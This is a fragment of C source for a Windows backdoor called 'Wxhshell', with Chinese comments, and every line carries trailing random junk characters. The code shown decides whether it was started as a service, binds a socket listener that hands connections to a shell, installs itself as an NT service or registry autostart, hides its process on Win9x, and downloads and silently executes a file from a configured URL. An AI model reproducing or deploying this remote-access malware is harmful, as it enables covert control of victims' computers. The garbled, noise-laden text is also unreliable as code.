} PROCESS_BASIC_INFORMATION; H[oi? {L
?RyvM_(N6
PROCNTQSIP NtQueryInformationProcess; U:(t9NX
b
)E|Bb=%
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9`b3=&i\
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o!&*4>tF
)A"7l7?.n)
HANDLE hProcess; :W55JD'
PROCESS_BASIC_INFORMATION pbi; BJTljg({o
XoOe=V?I )
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c Ix(;[U
if(NULL == hInst ) return 0; fW`F^G1R
J0o[WD$Ax
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U[u6UG
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tL|Q{+i
yE
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W[DB!ue
[ j_jee
if (!NtQueryInformationProcess) return 0; umYdr'p!v
S([De"y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Po[zzj>m
if(!hProcess) return 0; b87d'# .
re2%e-F"
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a!.8^:B&
N11am
CloseHandle(hProcess); oKiu6=
&aU+6'+QXB
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c=CXj3
if(hProcess==NULL) return 0; OYkd?LN
9EW 7,m{A
HMODULE hMod; L M[<?`%p
char procName[255]; VB%xV
unsigned long cbNeeded; 0rj* SC_
@(L|
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x(Z@R\C-a
=>U~ligu
CloseHandle(hProcess); 7;V5hul
"`wq:$R
if(strstr(procName,"services")) return 1; // 以服务启动 G<I5%Yo6G
aY~IS?!;
return 0; // 注册表启动 'Z[R*Ikzq
} dEnhNPeRl
*BV .zbGm
// 主模块 hB4.tMgZ
int StartWxhshell(LPSTR lpCmdLine) |k0VJi
{ V^D#i(5
SOCKET wsl; Gy5W;,$q
BOOL val=TRUE; qn .
int port=0; SE1 tlP
struct sockaddr_in door; c4|.!AQ>
rXMv&]Ag
if(wscfg.ws_autoins) Install(); m[XN,IE#u
rv[\2@}
port=atoi(lpCmdLine); wKN9HT
1*"Uc!7.%
if(port<=0) port=wscfg.ws_port; ueOvBFgZ
f\JyN@w+
WSADATA data; hV%l}6yS&
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _<$=n6#
hG U &C]
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ),_bDI L+
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T/ov0l_
door.sin_family = AF_INET; f$/D?q3N
door.sin_addr.s_addr = inet_addr("127.0.0.1"); w>eOERZa
door.sin_port = htons(port); okW3V}/x/z
w@4+&v>O
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @9L9c
closesocket(wsl); k dqH36&<
return 1; @NF8?>!
} f{J7a1 `_
"(5}=T@,
if(listen(wsl,2) == INVALID_SOCKET) { >;Bhl|r~z
closesocket(wsl); F&\o1g-L
return 1; {XAKf_Cg
} H0S7k`.
Wxhshell(wsl); VQCPgs
WSACleanup(); x+&&[>-P
Jg:'gF]jt
return 0; q&.!*rPD
xFJ>s-g*
} />?d
2?
a;(:iMCi
// 以NT服务方式启动 >3JOQ;:d8
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DI\^+P
{ 9f
"*Oj
DWORD status = 0; CfAqMH*ip
DWORD specificError = 0xfffffff; 0t~--/lA
x8H)m+AW
serviceStatus.dwServiceType = SERVICE_WIN32;
Hi9]M3Ub
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ;J:YNup
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p81~Lk*Hz@
serviceStatus.dwWin32ExitCode = 0; 9/{g%40B^
serviceStatus.dwServiceSpecificExitCode = 0; (-
uk[["3
serviceStatus.dwCheckPoint = 0; a36<S0R
serviceStatus.dwWaitHint = 0; 9:Y\D.M
4-\a]"c
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SOm~];[
if (hServiceStatusHandle==0) return; nD_g84us
{|fA{ Q_R
status = GetLastError(); NO&OuiN
if (status!=NO_ERROR) q&+GpR
{ 6*e:ey U
serviceStatus.dwCurrentState = SERVICE_STOPPED; 7J_H Ox#
serviceStatus.dwCheckPoint = 0; k$hWR;U
serviceStatus.dwWaitHint = 0; m=R4A4Y7
serviceStatus.dwWin32ExitCode = status; U>>J_2
serviceStatus.dwServiceSpecificExitCode = specificError; o)$sZ{` ="
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 67e1Y@Xu
return; ]Kf HuYjM
} ,Ya&M@^Z
pD]Ry"
ZG
serviceStatus.dwCurrentState = SERVICE_RUNNING; ?TXFOr]g]2
serviceStatus.dwCheckPoint = 0; 6O"0?wG+
serviceStatus.dwWaitHint = 0; &^}w|J?
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '?d[ ip
} 0-5:"SN'
$R^"~|m3M
// 处理NT服务事件,比如:启动、停止 h1BdASn_
VOID WINAPI NTServiceHandler(DWORD fdwControl) H=dj\Br`
{ /f#sg7)
switch(fdwControl) T57S!CJ^$5
{ 6V8"[0U
case SERVICE_CONTROL_STOP: P -Pt{:
serviceStatus.dwWin32ExitCode = 0; 3 3V/<v
serviceStatus.dwCurrentState = SERVICE_STOPPED; XdB8Oj~~
serviceStatus.dwCheckPoint = 0; d#(xP2
serviceStatus.dwWaitHint = 0; Z/0M9 Q%
{ >Nov9<p
SetServiceStatus(hServiceStatusHandle, &serviceStatus); R(:q^?
} )a.U|[:y[+
return; .8,lhcpY
case SERVICE_CONTROL_PAUSE: !,\]> c
serviceStatus.dwCurrentState = SERVICE_PAUSED; N=wB1gJ
break; &W ~,q(
case SERVICE_CONTROL_CONTINUE: XW19hG
serviceStatus.dwCurrentState = SERVICE_RUNNING; <%!@cE+y
break; ;%U`P8b!
case SERVICE_CONTROL_INTERROGATE: :!R+/5a
break; ,e;(\t:
}; 3
-5^$-7_
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 67#;.}4a
} n>@(gDq
L0|u^J
// 标准应用程序主函数 rR7}SEa
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m1(rAr1
{ dkXK0k
T# 8O:
// 获取操作系统版本 &BQ`4j~.
OsIsNt=GetOsVer(); iQA
f
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4Fnr8 r8W
^@N@gB
// 从命令行安装 fQv^=DI#
if(strpbrk(lpCmdLine,"iI")) Install(); 4WNWn#M
$,R|$0B7
// 下载执行文件 mtHw! *
if(wscfg.ws_downexe) { l<gg5 Zea
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) * @oAM,@
WinExec(wscfg.ws_filenam,SW_HIDE); < B'BlqTS
} $Q?<']|A
d9E:LZy
if(!OsIsNt) { YS;Ql\4
// 如果时win9x,隐藏进程并且设置为注册表启动 nY6^DE2f
HideProc(); gn'. 9";j
StartWxhshell(lpCmdLine); 1(m89C[
} <%|2yPb]
else ~*H!zKIx
if(StartFromService()) :HwB+Bjy
// 以服务方式启动 9XS'5AXN
StartServiceCtrlDispatcher(DispatchTable); |n~-LH++
else pN?
// 普通方式启动 VG)kPKoi
StartWxhshell(lpCmdLine); .aNy)Yu8
l2$6ojpo
return 0; Peb;XI
}